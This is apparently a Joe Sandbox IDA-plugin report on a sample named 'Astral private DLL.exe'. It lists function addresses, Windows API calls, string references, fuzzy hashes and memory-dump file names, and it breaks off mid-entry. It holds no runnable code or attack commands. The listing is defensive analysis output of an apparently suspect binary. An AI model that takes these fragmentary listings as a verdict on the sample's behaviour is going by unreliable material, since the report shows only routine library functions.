Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 9b3981e00218f4b5df5b288c60debf5f0b6a8cc87a9a660092f1742682d2543c
Instruction ID: 8f40512e1dbddd4c8f32e08e7ee6bfd7d08ba91f8a8b253bc42fa684829d61af
Opcode Fuzzy Hash: 9b3981e00218f4b5df5b288c60debf5f0b6a8cc87a9a660092f1742682d2543c
Instruction Fuzzy Hash: 584130B1900259AADF259BA0DC45EEA77BCAF15340F40C0A6FA0DE7051EB709A849FA1

Function 0016BB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0016BB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,0016A275,?,?,00000800,?,0016A23A,?,0016755C), ref: 0016BBC5
_wcslen.LIBCMT ref: 0016BC3B

Strings

\\?\, xrefs: 0016BB52, 0016BB99, 0016BBF7, 0016BC4E
UNC, xrefs: 0016BBA7

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: b6edea439869a67d8ee3254de9c66ffd93469cfdacdb6ab6469e7ab261940f9e
Instruction ID: dc1657fc3cf23162a83e927bcd15b35280cd1c116804c65a3a375a9ca23b4d94
Opcode Fuzzy Hash: b6edea439869a67d8ee3254de9c66ffd93469cfdacdb6ab6469e7ab261940f9e
Instruction Fuzzy Hash: F7419F31444216A6CF21AF60CC81EEE7BBDAF55394F158466F868E3151EB70DBE08B60

Function 0017B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0017B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 0017B712
DeleteObject.GDI32(00000000), ref: 0017B744
DeleteObject.GDI32(00000000), ref: 0017B767

Part of subcall function 0017A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0017B73D,00000066), ref: 0017A6D5
Part of subcall function 0017A6C2: SizeofResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A6EC
Part of subcall function 0017A6C2: LoadResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A703
Part of subcall function 0017A6C2: LockResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A712
Part of subcall function 0017A6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0017B73D,00000066), ref: 0017A72D
Part of subcall function 0017A6C2: GlobalLock.KERNEL32(00000000), ref: 0017A73E
Part of subcall function 0017A6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0017A762
Part of subcall function 0017A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0017A7A7
Part of subcall function 0017A6C2: GlobalUnlock.KERNEL32(00000000), ref: 0017A7C6
Part of subcall function 0017A6C2: GlobalFree.KERNEL32(00000000), ref: 0017A7CD

Strings

], xrefs: 0017B71A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 169520850e8895e218c94406b359a5332895db9462faefb5e83fbbb7ee796e7d
Instruction ID: a38b1b500681f5250420dc8ec6a5dc981fe27706f11410e812edaae205efe98d
Opcode Fuzzy Hash: 169520850e8895e218c94406b359a5332895db9462faefb5e83fbbb7ee796e7d
Instruction Fuzzy Hash: 2A01F136940215A7C71277749C89FBF7ABAAFC0B52F098011F918A72D1DF31CD5942A2

Function 0017D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

EndDialog.USER32(?,00000001), ref: 0017D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0017D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 0017D675
SetDlgItemTextW.USER32(?,00000068), ref: 0017D684

Strings

RENAMEDLG, xrefs: 0017D618

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 0fd03256d9aba1ca4c4dc11bcceaeefdcbe19f2d3f932bf1419c79b6f2326f3d
Instruction ID: d134bd6329ebd3dae6acb15aae22ed8145eb8597c769093acc654c5002565df9
Opcode Fuzzy Hash: 0fd03256d9aba1ca4c4dc11bcceaeefdcbe19f2d3f932bf1419c79b6f2326f3d
Instruction Fuzzy Hash: DE01283328421CBAD2115F64AE0AF577F7DEF5AB01F118114F309A24D1C7A2DA459775

Function 00187E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00187E24,00000000,?,00187DC4,00000000,0019C300,0000000C,00187F1B,00000000,00000002), ref: 00187E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00187EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00187E24,00000000,?,00187DC4,00000000,0019C300,0000000C,00187F1B,00000000,00000002), ref: 00187EC9

Strings

CorExitProcess, xrefs: 00187E9E
mscoree.dll, xrefs: 00187E8C

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 37c89b63b307bcb18b0fe25786c8d06d5b82aa7f629962f5c3e99bce1e24ef2a
Instruction ID: 3876b1f00282bc5e1b4cfef859a57a12ff81b7b3797307b39023552996da66ec
Opcode Fuzzy Hash: 37c89b63b307bcb18b0fe25786c8d06d5b82aa7f629962f5c3e99bce1e24ef2a
Instruction Fuzzy Hash: 13F06835904208BBCB119FE0DC09B9EBFB4EF44711F1440AAF815A3190DB319F80CB90

Function 0016F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0017081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00170836
Part of subcall function 0017081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0016F2D8,Crypt32.dll,00000000,0016F35C,?,?,0016F33E,?,?,?), ref: 00170858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0016F2E4
GetProcAddress.KERNEL32(001A81C8,CryptUnprotectMemory), ref: 0016F2F4

Strings

CryptProtectMemory, xrefs: 0016F2DE
Crypt32.dll, xrefs: 0016F2CE
CryptUnprotectMemory, xrefs: 0016F2EA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 5c60869385b1339cb8d8ec3b4d2aa9272199036fc345a38de1da76f064be1d20
Instruction ID: 07531b5d8cfc46322340f25a1cfeb3003cf610bf4cd4e2eac99f542654221b43
Opcode Fuzzy Hash: 5c60869385b1339cb8d8ec3b4d2aa9272199036fc345a38de1da76f064be1d20
Instruction Fuzzy Hash: CEE08C70D50702AECB219F38AC4DB02BAE46F18714F18C82EF0EAE3A50DBB4D591CB50

Function 00182BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00182CA1
___AdjustPointer.LIBCMT ref: 00182CC4
_abort.LIBCMT ref: 00182D12
___AdjustPointer.LIBCMT ref: 00182D60

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 0eef31b1e601cf74a0db421777cc9d69dee96b47b9327d7f17db1cb6fff695ee
Instruction ID: bbab4f9e1ec5755f45c4497e472fcf4f94db3c7bf08c5f2529324259a295925a
Opcode Fuzzy Hash: 0eef31b1e601cf74a0db421777cc9d69dee96b47b9327d7f17db1cb6fff695ee
Instruction Fuzzy Hash: D451E571500616AFDB2AAF54D845BBAB7A4FF54310F24462EEC05475A1E731EF40DF90

Function 0018BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0018BF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0018BF5C

Part of subcall function 00188E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0018CA2C,00000000,?,00186CBE,?,00000008,?,001891E0,?,?,?), ref: 00188E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0018BF82
_free.LIBCMT ref: 0018BF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0018BFA4

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a2e41a868f7da44985807e6a0f4edeb2352ebef5b398ad6116f7a763b6258a8b
Instruction ID: 0309013305de1c67c114749b1e0e883589ef06c5c3fbd11f506a373ee2fad54c
Opcode Fuzzy Hash: a2e41a868f7da44985807e6a0f4edeb2352ebef5b398ad6116f7a763b6258a8b
Instruction Fuzzy Hash: FC0184766096157F23217AB65CCDC7BAB6DEFC2BA13150129FA04C2251EF608E029EB0

Function 00170EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 001711CF: ResetEvent.KERNEL32(?), ref: 001711E1
Part of subcall function 001711CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 001711F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00170F21
CloseHandle.KERNEL32(?,?), ref: 00170F3B
DeleteCriticalSection.KERNEL32(?), ref: 00170F54
CloseHandle.KERNEL32(?), ref: 00170F60
CloseHandle.KERNEL32(?), ref: 00170F6C

Part of subcall function 00170FE4: WaitForSingleObject.KERNEL32(?,000000FF,00171206,?), ref: 00170FEA
Part of subcall function 00170FE4: GetLastError.KERNEL32(?), ref: 00170FF6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: d8080ae3a5835eda0978b3b063ad5b189d7745b78904e3ff5393574105ba6b80
Instruction ID: 87868b04cff7108634a5f2755263650a66e5b4c5a787915c9fb344581c2d6c57
Opcode Fuzzy Hash: d8080ae3a5835eda0978b3b063ad5b189d7745b78904e3ff5393574105ba6b80
Instruction Fuzzy Hash: 99015E72100744EFC7229B64DC85BC6FBBAFB08B10F00492AF26A92560CB757A84CA50

Function 0018C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0018C817

Part of subcall function 00188DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?), ref: 00188DE2
Part of subcall function 00188DCC: GetLastError.KERNEL32(?,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?,?), ref: 00188DF4

_free.LIBCMT ref: 0018C829
_free.LIBCMT ref: 0018C83B
_free.LIBCMT ref: 0018C84D
_free.LIBCMT ref: 0018C85F

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5c38d283a38120fc8ecf4c285b7363d7530d37381287bf400eeabd0e1b7b9ccf
Instruction ID: fe79d265a16fa5b4b5aadbc85585efa105cc350f348e0eb6e7ff662143a643fe
Opcode Fuzzy Hash: 5c38d283a38120fc8ecf4c285b7363d7530d37381287bf400eeabd0e1b7b9ccf
Instruction Fuzzy Hash: 4FF01232544200AB8620FBA8E485C1673EAAB11714794181AF108D7A52CB71FEC0CFA4

Function 00171FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00171FE5
_wcslen.LIBCMT ref: 00171FF6
_wcslen.LIBCMT ref: 00172006
_wcslen.LIBCMT ref: 00172014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0016B371,?,?,00000000,?,?,?), ref: 0017202F

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 2b821818b856f1d5fef5daa0495b9255a7e68a5132c6d812cb7a24640f5eb304
Instruction ID: 084bc813ce8ce2c6c9210eabfbaf419714ab970a007373bcf72742043870d51e
Opcode Fuzzy Hash: 2b821818b856f1d5fef5daa0495b9255a7e68a5132c6d812cb7a24640f5eb304
Instruction Fuzzy Hash: 4DF01D32008014BBCF266F51EC09DCE7F26EB54B61B258415F62A5A061CB72D7A2DB90

Function 00188900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0018891E

Part of subcall function 00188DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?), ref: 00188DE2
Part of subcall function 00188DCC: GetLastError.KERNEL32(?,?,0018C896,?,00000000,?,00000000,?,0018C8BD,?,00000007,?,?,0018CCBA,?,?), ref: 00188DF4

_free.LIBCMT ref: 00188930
_free.LIBCMT ref: 00188943
_free.LIBCMT ref: 00188954
_free.LIBCMT ref: 00188965

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3dcc18a1ec098a8a284a5dafaa092c49aa140d6001d576ef2e818c7b1fb1171e
Instruction ID: 8a66c7028ff77621ec3c4f4a38ad533cebb4cd4a6b59bf5aff63e897f836c687
Opcode Fuzzy Hash: 3dcc18a1ec098a8a284a5dafaa092c49aa140d6001d576ef2e818c7b1fb1171e
Instruction Fuzzy Hash: 50F0DA72810122DB8A46BF54FD028153FA2F7247247810606F51456BB1CFB18AC29F92

Function 001715FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 001717BC
_swprintf.LIBCMT ref: 0017186B

Strings

%s: %s, xrefs: 001717CB
%ls, xrefs: 00171641, 00171657

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 7d04be869e1c71ccf782ffb54edf439820fde160e4ec256f076b07ab60a08065
Instruction ID: ecc9179da1bbc9a7df0be391bbeb57318d6dc5b3d506decb41e524b1e1ed7831
Opcode Fuzzy Hash: 7d04be869e1c71ccf782ffb54edf439820fde160e4ec256f076b07ab60a08065
Instruction Fuzzy Hash: AD510735288300F6EB2D1AACCD46F757276BB15B04F25C606F39E744E1DBE2A520A71B

Function 00187F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\Astral private DLL.exe,00000104), ref: 00187FAE
_free.LIBCMT ref: 00188079
_free.LIBCMT ref: 00188083

Strings

C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, xrefs: 00187FA5, 00187FAC, 00187FDB, 00188013

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe
API String ID: 2506810119-3478925573
Opcode ID: 89f73d4d28a005df030415d6f4fcced3a935a35b8bf763619d72448df8e90280
Instruction ID: 79457f7c1d47c9dfbd7123d4b1261a2626287be20be82de2105a3c970700931f
Opcode Fuzzy Hash: 89f73d4d28a005df030415d6f4fcced3a935a35b8bf763619d72448df8e90280
Instruction Fuzzy Hash: 3C31AE71A04218AFCB21EF99DC80DAEBBFCEBA5310F54406AF90497211DB708B85CF61

Function 001831D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 001831FB
_abort.LIBCMT ref: 00183306

Strings

RCC, xrefs: 00183215
MOC, xrefs: 0018320D

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 68c34a1c3972f92c79591cdae12bc531c501656e5473ed5efe265bf7779550e0
Instruction ID: 8a762e069d5990c0e8183ef95f192e11ce2d405aef40ab5d29ec52c81735f573
Opcode Fuzzy Hash: 68c34a1c3972f92c79591cdae12bc531c501656e5473ed5efe265bf7779550e0
Instruction Fuzzy Hash: 9C414871900209AFCF16EF98CD81AAEBBB6BF48714F188159F914A7222D335AB50DF50

Function 00167401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00167406

Part of subcall function 00163BBA: __EH_prolog.LIBCMT ref: 00163BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 001674CD

Part of subcall function 00167A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00167AAB
Part of subcall function 00167A9C: GetLastError.KERNEL32 ref: 00167AF1
Part of subcall function 00167A9C: CloseHandle.KERNEL32(?), ref: 00167B00

Strings

SeRestorePrivilege, xrefs: 00167460
SeSecurityPrivilege, xrefs: 0016744B

Memory Dump Source

